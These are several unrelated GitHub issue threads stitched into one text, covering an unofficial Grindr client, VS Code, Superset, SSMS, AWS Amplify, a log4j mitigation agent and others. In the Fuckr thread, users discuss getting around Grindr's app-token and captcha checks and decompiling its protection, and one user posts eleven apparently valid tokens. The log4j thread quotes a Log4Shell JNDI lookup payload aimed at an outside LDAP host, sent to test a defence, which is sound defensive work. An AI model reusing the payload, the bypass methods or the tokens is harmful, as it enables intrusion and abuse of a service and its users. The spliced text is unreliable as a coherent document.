Functionnal Fuckr

Hey !
Could someone help me to have a functionnal Fuckr app, please ?
I tried to replace package.json and the error HTTP 412 went away but I'm still on the identification page over and over, without any error message.
Thanks for the help.

Idem ! Since several days.

Anyoneee?

For my part, after seeing there is no answer here, i doubt. I checked by trying to log on an other device (an old bluestacks) and i discovered that the account i use on fucker has been banished. I remember it began to bug as i abuse of position changing. I try to ask them, but the form on bluestacks doesn't work (can't indicate device and i would be circumspect to what answer). I'm trying to create a new account.

bluestacks doesnt work but koplayer does
On Wed, Nov 8, 2017 at 5:15 AM, Fab08<EMAIL_ADDRESS>wrote:

For my part, after seeing there is no answer here, i doubt. I checked by
trying to log on an other device (an old bluestacks) and i discovered that
the account i use on fucker has been banished. I remember it began to bug
as i abuse of position changing. I try to ask them, but the form on
bluestacks doesn't work (can't indicate device and i would be circumspect
to what answer). I'm trying to create a new account.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/tomlandia/fuckr/issues/175#issuecomment-342814154,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AObrIf7DBrB_SyNRVZhXaF08jhywaZe7ks5s0alugaJpZM4Pp5Vk
.

@Fab08 Are you running Fuckr on a Mac? Where can I get an updated complete package for Mac. the one from Fuckr.me is stuck on the login screen.
Sorry, N00b here.

No I'm on windows. I had the same problem. Did you test with an other Grindr account ?

@Fab08 Thanks! Yeah. Tested with another grindr account. The Mac version doesn't work, I think (seems from other threads). So it looks like I'll have to run the windows version via Parallels. Did you just download from the site, or did you do a special install/code/etc?

can you let me know? Thx
On Sun, Dec 10, 2017 at 9:33 PM, ryguy1737<EMAIL_ADDRESS>wrote:

@Fab08 https://github.com/fab08 Thanks! Yeah. Tested with another
grindr account. The Mac version doesn't work, I think (seems from other
threads). So it looks like I'll have to run the windows version via
Parallels. Did you just download from the site, or did you do a special
install/code/etc?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/tomlandia/fuckr/issues/175#issuecomment-350626594,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AObrIQaiK1FAMEIsql0aYmHsX7SYV4jTks5s_L7BgaJpZM4Pp5Vk
.

Guys, the current version of Fuckr does not properly work right now.  @Fab08  If your account is banned, you can go to grindr help desk https://help.grindr.com/hc/en-us/requests/new?ticket_form_id=24024 and submit a request.
The code they run on their server is very very poorly written and very buggy.  Many people have had issues with accounts banned for no reason.  I believe that's done by IP address which when service providers use dynamic IP addresses and many do, it is a very poor practice on grindr's part.
@ryguy1737 Running any version of Fuckr right now, unless you've had it running before with certain data stored in it, will not get it working, whether on Windows, Mac, or Linux.
We do have a solution to fix this, and it does work, but we are hesitant to release it due mostly to the spam bots on there.  We may end up implementing their captcha system into Fuckr.  As for the current fix, I may also work on implementing it in php as to hide the source code for the portion we need to fix.

Thanks for info, despite I don't understand all technical subtilities and the spam pb.

For me now, Fuckr works, not perfectly but enough (in some places, all profiles don't appear on Google maps). I use my new account with my previous install and it worked instantly and with my old messages of the ban acccount. Perhaps it is linked to what you called "certain data stored".
I used the last version of Fuckr (without a complete install from scractch, just by adding mannualy the last updates but i think it doesn't change anything). And, to test, sometimes i switch manually from a profil to another by rename two folders in my windows profiles (differents from Fuckr install directory). But on Mac, i'm incompetent.
And thanks for your work !

As of today, the app itself (whether iOS or Android) generates a token that is provided to the Grindr API (server) where it is verified. There is no way to generate the token outside of the app (such as in Fuckr).
On top of that, you now also need to supply the Grindr API with a reCaptcha token (a solved captcha). It is not impossible to run Grindr along with XMPP outside of the iOS or Android app but for the average user wanting a desktop version, it's not very realistic.
@RobbieTechie I suppose nothing is impossible but if you are somehow generating this token separate from the app itself (without intercepting requests and extracting it that way), I'll eat my boot. The token can be used more than once - approximately 5 times. It seems to be a hash of some sort.
Also, you cannot use their captcha without the request being made from their new subdomain, that is how reCaptcha works. You can implement reCaptcha if you setup your own account but I don't recommend it.  I wouldn't host anything outside of GitHub because doing so could make you liable for "damages." They are clearly doing this to take care of the bot issue.

You're right @ZeroFeetAway nothing is impossible ;-)

Thanks @RobbieTechie, I understand a bit better. But perhaps I'll just say: will send pix for that fix, whenever you've got it. 😉

I'm actually thinking it would be more fun to see @ZeroFeetAway eat his boot =D
As for the captcha and bot issues, that is not going to stop bots one bit, perhaps slow them down a few seconds at most.  Even with Fuckr being down as much as it has for most users, the bots or spammers have been running rampant.

Hi guys 😊
Tommy... Any chance I could have a copy of the working package?

Boot Casserole ?

@ZeroFeetAway Let's see how long it takes me to get 10 tokens, you can check by the time stamps on the posts starting from when I post this to my next post with 10 tokens......ready....go

duKsvoy0RiA:APA91bG-S1-c-PifHsVEhR2kMwckfOCyLSOts8GGBhmTaUvRdG09j-f3PfpSXCxzwZATz1W4YJtdDeMhoiPVZ13-pIPGluRfEzERaVKoFDzzyMiDLFsGiZbdafgEDsGrv1gCQwllz4Da
dAXXgCf_qrI:APA91bF5xmVtEiNs4sqXjLTrOrJweaOCnuwRp9NsHxLvbJ_2SLDpHCOgOCXGd30oCJmndjzLM2VeR9sSQIC4-l3KFS0olo9vYvQJK5e13_c5kD7GS4lY_AsyZUXv8GBTzpB4vWadQbjQ
chXoDz8ZpTw:APA91bHmHb8BXKPIn3CSVQan-mwxFhmCwLb-8PeP-p1i4YLvURWifUosZ3LPulv8jbrI2WflPJufiJsMkosHQIYgvwKFNSdrdp7lNI3w1KIzCpQp9jSZ9Q-oynQvbZOrYGTUZ98qLPph
fA63AWaOS3M:APA91bFlwQ4H1Ul5S3McfjIzlXchwQs6DL-NW5Zagvl-RUg-f0xE_yeJhUsonCGYVSF4ta3T2G1k5H-neCJIvcBVjXHd-fn6glIa4Qah_MT1EwRs_vQyURsIIYFzL5T4qdDBdkGJ0b3S
epND_95qbTY:APA91bEVJHkvZCxmLKJdQ43hxj5LA7Ojf7PyRuXcWo6Fx1bEttcpE5Omnv5oIw6sbZFBnDQSWPWA6W_gpkiErOSxJ5_0IKnMXKmvd-CDmbgKDYEIdFXhhDY5or8_3m57LeNkZRojHqc5
eEonqHQ67h0:APA91bEqxNQjS1dbXSPlGsPx_Eag0wHqWG5gMdkWJnizl_SgUo-4DQjKfICagcJdp5AhSxSBQkLcaBkmm3XTJ2AInmwincigl5zzGGnoVtHkGnu72T7bHUz8hhdDShhlgRhGUnvDxo0n
f_Q4UvmuHcY:APA91bGCvKNSWtXgWhy4vjMlmUlNYvVWaHS6d0H3HH1s9gi4RZVDNdRPcGx-eKS5RnanSY5vLY6nh4GbsKjXG6xkR4XjjPOyuGOadtZzksEOENzmDfpv3nX90G1_ckUU9onNR8dtCzdd
clyrNLRpNVQ:APA91bH7dd_BOnXdXiP7H-ne17jNAsOSRkX8S8UyAfHULexR5Slvz-m0XNTmPr6Z9r6K48_ihLUudx-JLb27cDHyR0apG4NmKZNjjzda01HD9SLqO6SQK526eR6ZgGErbTfez6uLF5wM
eukMCEQcL8Q:APA91bEGHvO3Jyvn5F1yqy1FDlGhN5jxs8DRwn4mzScsiyhjDTpykzF3GGhTCU9g1nFNf0ggUyRnO5FAENQRDHIJebpdu5oSh9MNOKXGaqdiyJdSrUIuU9m4rsqrsQ8IuuqL94xo61hA
e460l-GAsAY:APA91bEIYLWoH_7kSHtzzqmmSNwW9OEtNEfxS5LfZP3dvGh5tjvf8cmSTznM8k362OBQLC_kd5xAkW00bs4uOMjvhUI1hLesHifm0VOhxcOT5lVX9GFCTdpKHqPf1B9FpXN9nfX3GtTU
ch8Y-e6wrFI:APA91bFAErWDDboqc4sdYYpTs10Fbff9HZRh6RcZX-BWdf3Eg_lryFK50iw8lpasWHGyUUcKvnbAbrzFdzfNFnNxWQ9AaavKhvcvU4x4z8ij2IehsjcmN1guH7W02LkSRFMwn919UjLr

@RobbieTechie I suppose nothing is impossible but if you are somehow generating this token separate from the app itself (without intercepting requests and extracting it that way), I'll eat my boot.

Oops that was 11, now about that boot......

That was a little over 3 mintues btw ;)  @JohnnyAccorn they actually could control the bots/spam a lot better than what they do, I'd give examples, but they'd prolly just steal ideas after reading this.
I have thought about an android app,and honestly, doing an app in android would make some aspects of fixing issues easier.  I have not thought about running one concurrently, I've thought about just replacing their whole damn app.  They force to much advertising which is one of their major complaints, their attempted spam processing is more or less hurting their regular users,and quite frankly their security that for a while was good, is becoming crap.  I ripped the app apart again the other day and got more details out of it than I did a few months ago.  Their dexguard encryption is not that strong.

My experience with grindr here in Australia is that spambots are rather rare. Their Robot Test is a major pain when one first joins. They've just had another upgrade a few days ago. The major problem is to keep updating Fuckr to compensate for those changes, as happened last year and consequently rendering Fuckr unusable. So yeah a total revamp of the app minus adverts would be nice but it still leaves having to update the app each time they make alterations to their API.
I safeguard my location by using a Mock GPS app on Android (they don't work on iOS) but of course turning off "show distance" also works... I kinda like the idea of positioning my location (mockGPS) to some nearby location. I did get stalked a few years ago through grindr and it wasn't pleasant 🤔
You've done a great job of it though 😊 pity I just can't get it work... I can't stand their app lol

@ZeroFeetAway according to their new policies, three I think to agree to, is Fuckr in breach of that?

They had much  of that legal jargon in there before about don't do this and don't do that blah blah blah.  But at the same time this app has also helped them up their security of the app.  It's a bit like a game of cat and mouse.
When this project first started, when Grindr was version 2, you could see 500 guys with the xtra version, which could be done for free with Fuckr, we could also use every filter even in the beginning when they switched Grindr to version 3.  They finally secured that.
As for Thom having a working version of the package, I don't think he has one, he has not been working with us on this.  Quite frankly Victor and I have wondered if he is alright.

Oh dear!
Have you got a working version?

Merry xmas & happy new year all 😊

Fuckr has not worked since July 6, 2017 #157

Closes #175


Python interactive window not working!

Issue Type: Bug
Python interactive stopped working just after updating to the current insider build.
Disabled all other extensions except for python, updated python extension, reset all python extension settings to default, restarted my computer, etc. Nothing seems to be working. Its stuck at "Executing Cell" status and the "Python Interactive" window frame is completely blank.
Steps to reproduce:

Open any .py file with "#%%" for marking cells.
Execute any cell.

VS Code version: Code - Insiders 1.47.0-insider (0913b1aa43191d8af0ccb4a133d9a8d7c1a81d69, 2020-06-23T09:03:35.861Z)
OS version: Windows_NT x64 10.0.18363

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-8700K CPU @ 3.70GHz (12 x 3696)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onoop_rasterization: disabled_offopengl: enabled_onprotected_video_decode: unavailable_offrasterization: enabledskia_renderer: disabled_off_okvideo_decode: enabledviz_display_compositor: enabled_onwebgl: enabledwebgl2: enabled

Load (avg)
undefined

Memory (System)
63.84GB (55.76GB free)

Process Argv
D:\OneDrive - NTNU\0.3. Codes & Workspaces\4. SSW DTU\SLy-CalmW

Screen Reader
no

VM
0%

Extensions (1)

Extension
Author (truncated)
Version

python
ms-
2020.7.89046-dev

@PrateekArya Does this just happen on occasion? Or every time? There is currently a known issue with VSCode in general where starting up webviews will occasionally fail and show a blank webview.
If you run the command "Developer: Open Webview Developer Tools" from the VSCode command palette do you see any errors in the "Console" tab? That might help to diagnose this.

@IanMatthewHuff This happens every time for this insider build. It doesn't work at all.
Here is the Console tab error:

@IanMatthewHuff It seems like it was a problem with vscode and they are saying that it is fixed now. I'll see if it is resolved in the next insider build (hoping that it will be released soon). :)
https://github.com/microsoft/vscode/issues/100865#event-3475266250

We believe this has been resolved.

Im facing the same issue in the latest insider updated:
Version: 1.51.0-insider (user setup)
Commit: bb16786cff3d231facbdcee90741ac25fcffd3ac
Date: 2020-10-28T05:57:23.779Z
Electron: 9.3.3
Chrome: 83.0.4103.122
Node.js: 12.14.1
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.17763

@morhadar this is actually a new issue introduced in insiders only, it's being tracked by #14535 and a fix is in progress already. You can move to stable as a workaround for now.


'request_throttle_ms' should be supported in per-resource settings

Description
Some requests may have a different throttling limit than others.

The workaround is to specify the largest possible value in the global setting.


feat: add GET /api/v1/chart/{chart_id}/data/?format{format} API

SUMMARY

This PR adds a new API for retrieving data associated with a saved chart via a GET request.
The API uses the stored query_context (https://github.com/apache/superset/pull/15824) to run the query and fetch the data.
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

N/A
TESTING INSTRUCTIONS

I accessed the endpoint manually by hitting http://localhost:9000/api/v1/chart/56/data/:
{
  "result": [
    {
      "cache_key": "bf6383e65e2d57b646778b8b0bbb875b",
      "cached_dttm": null,
      "cache_timeout": 86400,
      "annotation_data": {},
      "error": null,
      "is_cached": false,
      "query": "SELECT gender AS gender,\n       SUM(num) AS sum__num\nFROM birth_names\nWHERE ds >= TO_TIMESTAMP('1900-01-01 00:00:00.000000', 'YYYY-MM-DD HH24:MI:SS.US')\n  AND ds < TO_TIMESTAMP('2000-01-01 00:00:00.000000', 'YYYY-MM-DD HH24:MI:SS.US')\nGROUP BY gender\nORDER BY sum__num DESC\nLIMIT 50000",
      "status": "success",
      "stacktrace": null,
      "rowcount": 2,
      "colnames": [
        "gender",
        "sum__num"
      ],
      "coltypes": [
        1,
        0
      ],
      "data": [
        {
          "gender": "boy",
          "sum__num": 40276116
        },
        {
          "gender": "girl",
          "sum__num": 28055783
        }
      ],
      "applied_filters": [],
      "rejected_filters": []
    }
  ]
}

And http://localhost:9000/api/v1/chart/56/data/?format=csv:
gender,sum__num
boy,40276116
girl,28055783

I also added unit tests covering the case where query_context is null, and the case where it's present and data is returned.
ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[x] Introduces new feature or API
[ ] Removes existing feature or API

I need this data paginated. It's possible?


Fix block registry feature

@rhatdan @mrunalp PTAL
Signed-off-by: Antonio Murdaca<EMAIL_ADDRESS>

LGTM

LGTM.


hciattach is faulty

Description

Steps to reproduce the issue:

download raspbian image
create image using yocto for rpi0w
hciattach /dev/ttyAMA0 bcm43xx 3000000 (using the raspian and yocto images)

Describe the results you received:
with yocto image, there is initialization timeout. But with the raspbian image, it works fine. I copied the hciattach + the driver to the yocto image (manuall) and it worked.
Describe the results you expected:
hciconfig -a should give a reply that the chip exist
Additional information you deem important (e.g. issue happens only occasionally):
Additional details (revisions used, host distro, etc.):

I could fix get it to work for the raspberry pi 0w.
The driver BCM43430A1.hcd 360kb is not correct. The raspbian image has another driver. I took it and embedded it in a recipie to replace this driver. Also, in bluez5.%.bbappend, the patches are installed for raspberrypi3 (see file: SRC_URI_append_raspberrypi3) remove  all existances or "_raspberrypi3" to apply the patch also for the rpi0w.
now by giving hciattach /dev/ttyAMA0 bcm43xx 3000000 it works .. Device setup complete ..

Actually we do it for wifi0 too. Check the recipe in master. Would you be able to update BCM43430A1.hcd on master?

Closing as it duplicates https://github.com/agherzan/meta-raspberrypi/issues/148

I have the morty branch, please update the bluez5% also to it. I sent you the driver per email. thank you

Please send it over as a PR to master. When merged you can send another one which backports it over morty.


STAR-1335: various tweaks to make rebasing CNDB easier

I forcefully merged this PR because the butler failures are not related to the changes in this PR.


Move container implementations from lib to oci package

A lot of assumptions regarding conmon, but also the fact that containers
run on the host, hence they have a valid PID, are made everywhere in the
codebase.
Because we want to better support VM based container runtimes, it is
necessary to make sure we don't make such assumptions from high layers
such as lib package. Instead, those implementation details should be
handled by the oci.Runtime directly.
Fixes #1946

@mrunalp @runcom PTAL

/cc @sameo @egernst

/test all

/test integration_fedora

/test e2e_rhel

I am going to run some things manually before merging this.

Makes sense, thanks @mrunalp

@mrunalp no rebase needed :)

This looks fine to me. @runcom ptal.

Also @giuseppe :)

LGTM

/lgtm


Link for 17.9.1

As a courtesy and respect for everybodies time, a respect MS apparent don't have by publishing a version that is so full of bugs and not providing a link the previous versions, I hereby provide the download link for 17.9.1.
https://docs.microsoft.com/en-us/sql/ssms/release-notes-ssms?view=sql-server-2017#download-ssms-1791
Last time I tried 18 it was so buggy that I couldn't even install it and get it running on a completely new server, so I had to uninstall and  go back to 17
18.1 might be better, but I don't wanna waste time trying. SSMS has always been a monstrosity, because it's have way to many dependencies and then installation program seem to be coded way to complex. If your system differ the slightest from the developers PC, there is a high change is will fail. Just look at the size, it says it all.
It basically just a WinForm app which send Transact-SQL statements to the SQL server, it should be max 20MB! MS: KISS!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 45daf2f0-bb22-338f-062b-a9fabcb71a92
Version Independent ID: b6e909fe-15d9-c1cf-c018-d4f6f36ff31f
Content: Download SQL Server Management Studio (SSMS) - SQL Server
Content Source: docs/ssms/download-sql-server-management-studio-ssms.md
Product: sql
Technology: ssms
GitHub Login: @dnethi
Microsoft Alias: dinethi

You Sir, are a gentleman and a scholar!

18.0 has a launch issue.  18.1 crashes if you drag & drop anything.  Highly recommend 17.9.1!!! https://feedback.azure.com/forums/908035/suggestions/37887988

Everyday I am dealing with another bug in 18.0. Thanks for the  link!

thank you! 18.1 also now keeps crashing on me.

Seriously, do not install 18.0 or 18.1.
18.1 crashes dragging\dropping tables into a query window.
I somehow just corrupted 18.1 too installing SSDT for VS 17.  Side-by-side configuration is incorrect.  Trying to uninstall 18.1 results in an installer hang - "Loading packages - please wait"
17.9 is fine.

@MrM40 The SSMS team is focused on fixing the bugs that are in SSMS 18.1.  Your points are noted and are well-taken. It is time to Close this Issue 2302.
Thank you for submitting this Issue. We hope to hear from you again.
CC: @WilliamAntonRohm

The problem is not that 18.0  and 18.1 have bugs, all software has bugs, that's okay.
The problem is your attitude and decisions which seems to be highly influence by a political marketing agenda that has no place for a product like SSMS (and if it's not, that makes your decisions look even worse).
The real issues are:
1: That you release 18.0 and 18.1 as production ready. It is very obvious at beta stage!
2: That you don't provide a download link for 17.9 on your primary SSMS download page.
Judging by your reply it seems you didn't get that at all.
Before doing anything, fix the two above issues, and then start coding.


Alacritty theme

I put together a color scheme inspired by this theme that works in alacritty. If you like it please drop me a star. 😛

Thanks! I added a link in the README file


refactor: move tree node impl to tree plugin

copilot:all

Current dependencies on/for this PR:

main

PR #3473   👈

PR #3474

This comment was auto-generated by Graphite.


Clarification for usage?

Good morning, I'm having a heck of a time trying to test this to get proof positive results that it works.  I have added a controller endpoint to our application called /exploitme, which only does one thing, and that's print the request's headers and then exits.
In my test case, I do a get against that endpoint with a user-agent header of ${jndi:ldap://<IP_ADDRESS>/o=reference}' and I see that being dumped by my controller, but I do not see anything in my logs that log4j-jndi-be-gone has blocked anything.  For what it's worth, the javaagent is loaded, has the correct permissions and I know for a fact that my application is using a vulnerable version of log4j2.
For what it's worth, this is running on a tomcat 8 server using openjdk 1.8 on RHEL.  Any insights would be greatly appreciated.

What version of log4j are you testing with?
And can you provide log output and stderr output?
And just to confirm, when you say "print the request's headers", you mean that you are logging them with log4j?

Yes, my method looks like:
` @RequestMapping(value = "/custom/exploitme", method = RequestMethod.GET)
public void jndiTesting(HttpServletRequest request, @RequestParam(value = "FOO", required = false) String foo, HttpServletResponse response) {
HttpSession httpSession = request.getSession();
logger.info("REUBEN 00:  In jndiTesting for JNDI exploit, printing all headers for this request.");
logger.info("REUBEN 01:  Headers:");
    Enumeration headers = request.getHeaderNames();
    while (headers.hasMoreElements()) {
        String k = (String) headers.nextElement();
        String v = request.getHeader(k);

        logger.info("\tReuben 01A:  Header name:  [" + k + "], value:  [" + v + "].");
    }
    logger.info("REUBEN 02:  End jndiTesting.");
}`

As to log4j version, this is using 2.11.1
logs look like

What version of Spring and how are you using it (e.g. Spring Boot?)?
I ask b/c you may not actually be calling into the real log4j, but org.apache.logging.log4j:log4j-to-slf4j via Spring's dependency chain (e.g. https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-logging/2.6.2).
Basically, until I manually added the dependencies of org.apache.logging.log4j:log4j-api:2.11.1 and org.apache.logging.log4j:log4j-core:2.11.1, I didn't even see the JndiLookup class in the resulting jar, and it didn't even seem like they were being used from my calls into logger.

Understood.  This is Springframework, version 5.0.8.  We have some boot apps, but those are few.

Can you provide the dependency list in group:name:version format for me to verify?
Alternatively, can you provide the output of unzip -l <jar> | grep -i jndi?
Otherwise, I'm inclined to say this is a false positive (...or false negative, which would be more accurate I guess?).

  I ran the unzip command against the jar file for our app, which is under /webapps//WEB-INF/lib.  But, I didn't see anything for jndi.  Is that the correct spot, or am I mistaken here?

Are you using Spring via classpath? then looking up what's actually being used would be trickier.
Can you try adding the following into your test code?
Class c = logger.getClass();
System.out.println("[test] logger.getClass(): " + c);
java.net.URL location = c.getResource('/' + c.getName().replace('.', '/') + ".class");
System.out.println("[test] via getResource: " + location);
System.out.println("[test] via getProtectionDomain: " + c.getProtectionDomain().getCodeSource().getLocation());

For example, with a fat jar, I get:
[test] logger.getClass(): class org.apache.logging.slf4j.SLF4JLogger
[test] via getResource: jar:file:path/to/web-tests.jar!/org/apache/logging/slf4j/SLF4JLogger.class
[test] via getProtectionDomain: file:path/to/web-tests.jar

The first line will probably be sufficient to determine if you're really using slf4j under the hood.

Disregard this, sorry to be a bother.  I got into our code/deployment and realized we had added the runtime argument to disable jndi.  Turning that "off" resulted in your module working.
Thanks for being so responsive and helpful.


Publish fails after added new env, switched to a new env and added hosting

Before opening, please confirm:

[X] I have checked to see if my question is addressed in the FAQ.
[X] I have searched for duplicate or closed issues.
[X] I have read the guide for submitting bug reports.
[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.

App Id
d3exe05bdo9lkk
Region
eu-central-1
Amplify Hosting feature
Manual deploys
Describe the bug
Trying to publish application. It was previously connected to the bitbucket, but now I have added hosting and would like to publish manually.
amplify publish
✔ Successfully pulled backend environment costatest from the cloud.

    Current Environment: costatest

┌──────────┬─────────────────┬───────────┬───────────────────┐
│ Category │ Resource name   │ Operation │ Provider plugin   │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Auth     │ userPoolGroups  │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Auth     │ aruggaauth      │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Api      │ arugga          │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Function │ pullRobotData   │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Function │ pushRobotData   │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Function │ sunset          │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Function │ hobo            │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Function │ IotToSQS        │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Function │ SQSToIoT        │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Custom   │ customResources │ No Change │ awscloudformation │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Hosting  │ amplifyhosting  │ No Change │ awscloudformation │
└──────────┴─────────────────┴───────────┴───────────────────┘

No changes detected

? Do you still want to publish the frontend? Yes
Publish started for amplifyhosting

><EMAIL_ADDRESS>build
> vue-cli-service build

⠹  Building for production...

 WARNING  Compiled with 2 warnings                                                                                15:21:56

 warning

asset size limit: The following asset(s) exceed the recommended size limit (244 KiB).
This can impact web performance.
Assets:
  js/chunk-vendors.13548f65.js (4.57 MiB)

 warning

entrypoint size limit: The following entrypoint(s) combined asset size exceeds the recommended limit (244 KiB). This can impact web performance.

 DONE  Build complete. The dist directory is ready to be deployed.
 INFO  Check out deployment instructions at https://cli.vuejs.org/guide/deployment.html

✔ Zipping artifacts completed.
✖ Deployment failed! Please report an issue on the Amplify Console GitHub issue tracker at https://github.com/aws-amplify/amplify-console/issues.
An error occurred during the publish operation: Branch costatest not found.
⚠ Review the Amplify CLI troubleshooting guide for potential next steps: https://docs.amplify.aws/cli/project/troubleshooting/

Expected behavior
to behave
Reproduction steps
I guess create an application, connect to branch, add another backend env, add hosting, publish.
Build Settings
No response
Additional information
Branch costatest not found. Why does it search for branch?

Hi @alonsnir thanks for raising this issue, we are investigating this behavior with the amplify publish command. When you attempted to switch from CI/CD to manual deployment did you follow the guide in the documentation:

In order to change deployment types, you need to run amplify remove hosting and then amplify add hosting to choose your new preferred deployment type.

docs: https://docs.amplify.aws/cli/hosting/hosting/#type-of-deployments

@hloriana I did. It fails to remove hosting added via the console.

Hello @hloriana ,
$ amplify publish
✔ Successfully pulled backend environment test from the cloud.

    Current Environment: test

┌──────────┬─────────────────┬───────────┬───────────────────┐
│ Category │ Resource name   │ Operation │ Provider plugin   │
├──────────┼─────────────────┼───────────┼───────────────────┤
│ Hosting  │ amplifyhosting  │ Create    │ awscloudformation │

..........
..........

 Zipping artifacts completed.
✖ Deployment failed! Please report an issue on the Amplify Console GitHub issue tracker at https://github.com/aws-amplify/amplify-console/issues.
An error occurred during the publish operation: Operation not supported. App is already connected a repository.

Following your advice i do:
$ amplify remove hosting
✔ Select the plugin module to execute · Hosting with Amplify Console (Managed hosting with custom domains, Continuous deployment)
You have enabled hosting in the Amplify Console and not through the CLI. To remove hosting with Amplify Console, please visit the console and disconnect your frontend branches.

I do not find how to "disconnect your frontend branches." :(
Could you please clarify?


T-Motor MN5212 Not Available

Hi,
The suggested T-Motor MN 5212 is currently unavailable in Amazon. Can you give another one to replace it?
Thanks,
Yiyi

I‘m not from Project Doggo team, but as far as i know, you can find other 5212 304KV motors in stead.
The key specs you may want to check are as follows,
340KV -- this has to be specific
35A 840W max continuous power -- this could be a bit different
dims: Shaft 6mm, Stator 52mm x 12mm -- this better be specific, especially the shaft and axis size
motor 59 x 33.5mm -- this is the outer dimension and will not affect much, as long as the stator and axis is at same place, but if you had a motor much bigger in outer dimension, it may not fit in the relatively tight space inside Doggo.
No. of Cells (Lipo): 4-8S -- this will decide the working voltage range of the motor. as far as i know, all 5212 motors should be in this range.

Thanks HelloPlanet for answering the question! You can definitely make Doggo work with a variety of motors, but if the dimensions are different then you'll probably have to modify the mechanical design. Your best bet is to buy the T-Motor 5212 motors which you can also find at:
http://store-en.tmotor.com/goods.php?id=377
https://www.foxtechfpv.com/tmotor-mn5212-kv340.html
I hope they become available again on Amazon since they tend to be listed at a cheaper price there.

Thanks. It works.


Update create-data-warehouse-portal.md

Update for Clean up resources section - to resume compute for the data warehouse, Start button is not available, instead Resume is available.

@pashetty : Thanks for your contribution! The author, @kevinvngo, has been notified to review your proposed change.

#Sign-off


Add C++ support

This PR adds support for C++ for treeedb

Ah, yeah I didn't include C++ because the resulting executables can't be statically linked (as you can see in the CI build). That's ok, though: we can just skip building and distributing binaries for C++.
The linting failure looks unrelated.


Using bokeh for more interactive plots.

Please check if the PR fulfills these requirements

[ ] The commit message follows our guidelines or the commits will be squashed into one.
[ ] Tests for the changes have been added.
[ ] Docs have been added / updated.

What kind of change does this PR introduce?
...

Does this PR introduce a breaking change?

This PR fixes/implements the following -

[ ] Bug 1
[ ] Bug 2
[ ] Feature 1
[ ] Feature 2
[ ] Breaking changes

Closing issues
...

Closing, maybe update in future.


[Suggestion] Relist item with specific hours

It would be great if there was a dropdown selector to select for how long to re-list all the items in the trade pile.
p.s. When I will have more time, I will learn JS (I'm a developer, just not a JS developer) and maybe will be able to contribute.

^ in terms of trading, you want to be working in 1 hour increments. For a variety of reasons

Yeah, but if you don't want to use the auto relist script, its better to relist the items at night for 6 hours

Indeed being able to relist at night for 6 hours in a single click would be very useful :)

Decided not to do any automation with this script.


Proposal: http.RoundTripperFunc

The http package currently exposes a HandlerFunc interface that satisfies the http.Handler interface.
I'm proposing a similar addition, satisfying the http.RoundTripper interface. This would enable composable RoundTrippers and avoid the need to create a struct in some instances.
Proposed design
type RoundTripperFunc func(*http.Request) (*http.Response, error)

func (f RoundTripperFunc) RoundTrip(r *http.Request) (*http.Response, error) {
  return f(r)
}

Example usage
func addAuthRoundTripper(apiKey string) http.RoundTripper {
  return http.RoundTripperFunc(func(r *http.Request) (*http.Response, error) {
    r.SetBasicAuth("", apiKey) // Not super secure, just using as an example
    return http.DefaultTransport.RoundTrip(r)
  })
}

Without
This shows the required effort without this addition.
type authRoundTripper struct {
  apiKey string
}

func (a *authRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) {
  r.SetBasicAuth("", apiKey)
  return http.DefaultTransport.RoundTrip(r)
}

There already is a proposal for a net/http RoundTripperFunc. Duplicate of #38479?

It does look the same.  Closing as a dup.  Please comment if you disagree.  Or maybe comment on #38479 to suggest changes there.


The component is extremely slow on 50+ symbols

When user copy-pastes a string of 50-100 symbols the component freezes the page for several seconds. Can you check it?

I tried with 300 characters and while there is a noticeable delay I'd say its only about 200-300ms. Can you reproduce the issue here? https://reactpasswordstrength.netlify.com/


Improve startup performance through lazy loading?

see https://docs.microsoft.com/en-us/aspnet/core/blazor/webassembly-lazy-load-assemblies?view=aspnetcore-6.0

After reviewing it, that does not help, yet. It refers to assemblies. Unless the game data is not wrapped into another assembly, that won't work.
Besides, some of the data is needed rather early after the program starts (e.g. date information).

Another option would be:

Load only those data when the app starts, that are essential for basic operations.
Skills, ... could be loaded when a character is loaded.
Shop data could be loaded when the shop is being opened for the first time (which is actually the case, but it is kinda hidden inside ShopInventoryViMo and not part of IGameDataService).

What I did: app won't wait for the larger data files to load immediately. Instead it keeps the Task promise and fetches the data, once it is requested.


Advantage over UseJwtBearerAuthentication

This is just a question. What's the advantage of using this instead of UseJwtBearerAuthentication for the resource server?
Greetings Damien

it has support for reference tokens as well - and caching when it is implemented.

OK, thanks

thanks


GraphQL Experiment - Apollo + Next.js

Research how to use apollo as the primary data source for Next.js apps.
Acceptance Criteria

[ ] We have a demo app showing how to work with Apollo and Next.js with local data and external data sources.

Task

[x] Set up a demo project with Apollo and Next.js
